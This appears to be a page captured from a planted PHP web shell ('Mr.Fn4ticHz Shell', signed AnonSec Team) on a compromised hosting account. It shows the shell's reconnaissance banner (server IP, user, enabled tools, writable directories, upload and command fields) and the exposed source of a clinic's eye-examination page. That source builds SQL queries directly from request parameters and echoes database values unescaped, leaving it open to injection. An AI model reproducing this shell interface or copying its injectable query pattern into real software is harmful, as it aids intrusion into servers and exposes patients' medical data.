Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.148.117.18
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/demotext.php
<?php
session_start();
include 'header.php';
include("dbconnection.php");
include 'dashboarddocument.php';
require_once('../DBManager.php');
require_once("../LoginManager.php");
require_once('../patientmanager.php');
if(isset($_POST[oneexamnation]))
{
		PatientManager::oneexamnation("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Examination]","$_POST[eye]","$_POST[Result]","$_POST[left_result]","$_POST[entered_by]");
	 }
	 if(isset($_POST[status]))
{ 
$sql ="UPDATE medicinede SET status='$_POST[status]' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND id='$_GET[id]'";
if($qsql = mysqli_query($con,$sql))
		{
    echo "<script>
 window.history.go(-1)</script>";
     } 
    
}


?>
<style>
   .box{
              display: none;
    
    }
    
     .box1{
              display: none;
    
    }
    </style>

  <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box").hide();
            }
        });
    }).change();
});
</script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box1").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box1").hide();
            }
        });
    }).change();
});
</script>
<script>
function myFunction201() {
  var checkBox = document.getElementById("myCheck201");
  var text = document.getElementById("text201");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
function myFunction202() {
  var checkBox = document.getElementById("myCheck202");
  var text = document.getElementById("text202");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
</script>

  </head>
  <body>
      
    <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">

          
        
    <h2 Align="center">Examination </h2>
    <p align="right">
      <button class="button" data-modal="modalOne"> Add Examination</button>
    </p>
           <table id="example2" class="table table-bordered table-hover">
                  <thead>
         
						<tr>
						    <th>Examination</th>
							<th>Right Eye</th>
							<th>Left Eye</th>
						</tr>
				
      
                  </thead>
<?php
include("dbconnection.php");
$sql ="SELECT * FROM onexamnation WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
     echo " <tbody>
            <tr>     <td>&nbsp;$rs[Examination]</td>
                     <td>&nbsp;$rs[Result]</td>
               		<td>&nbsp; $rs[left_result]</td>
          </tr>                   
          
          ";
}

?>    </tbody>
  <tfoot>
          </tfoot>
        </table>

                   <form name="oneexamnation" method="post">
	<label>Examination</label>
				<select class="form-control" name="Examination" id="Examination">
    <option value="" disabled selected>Examination  </option>
   <option value="NCT"> NCT</option>
<option value="AT">AT</option>
<option value="BASE LINE IOP (With Glasses)">BASE LINE IOP (With Glasses)</option>
<option value="BASE LINE IOP (Without Glasses)">BASE LINE IOP (Without Glasses)</option>
<option value="CCT">CCT</option>
<option value="UCVA">UCVA</option>
<option value="DSPH">DSPH</option>
<option value="DCLY">DCLY</option>
<option value="Axis">Axis</option>
<option value="PGVA">PGVA</option>
<option value="PHVA">PHVA</option>
<option value="Vision (With Glasses)">Vision (With Glasses) </option>
<option value="Vision (Without
Glasses)">Vision (Without
Glasses)</option>
<option value="Vision (with lens)">Vision (with lens)</option>
<option value="CSL">CSL</option>
<option value="Retinoscopy">Retinoscopy</option>
<option value="Squint">Squint</option>
<option value="fundus">fundus</option>
<option value="Top con">Top con</option>
<option value="Auto ref">Auto ref</option>
<option value="Specular">Specular</option>
<option value="A Scan">A Scan</option>
<option value="B scan">B scan</option>
<option value="Adnexa">Adnexa</option>
<option value="Ant Segment">Ant Segment</option>
<option value="Pachy">Pachy</option>
<option value="Pupil">Pupil</option>
<option value="Gonioscop ">Gonioscop </option>
    
	</select>
									
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.3/jquery.min.js"></script>
<h4>Eye  </h4>
<div class="checkbox">&nbsp;&nbsp;<input value="Right Eye" id="myCheck202" onclick="myFunction202()" name="eye" class="product-list" type="checkbox"><span>Right Eye</span></div>
             <div class="checkbox">&nbsp;&nbsp;<input value="Left Eye" id="myCheck201" onclick="myFunction201()" name="eye" class="product-list" type="checkbox"><span>Left Eye </span></div>
    <script type="text/javascript">
    $('.product-list').on('change', function() {
        $('.product-list').not(this).prop('checked', false);  
    });
  </script>
		 <div id="text201" style="display:none" >
				<label>Result</label>
				<input type="text" placeholder="left_result" name="Result" id="Result" class="form-control"/>
			</div>
		<div id="text202" style="display:none" >
				<label>Result</label>
				<input type="text" placeholder="Result" name="Result" id="Result" class="form-control"/>
			</div>
			
		       <input type="submit" value="Add More" name="oneexamnation">
      </form>
         
   </div>   </div>   </div>
   <table id="example2"  id ="demo" class="table table-bordered table-hover">
<?php
			$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                    
          
     ";
}
?>  
   </tbody>
</table> 

  </body>
</html>

Anon7 - 2022
AnonSec Team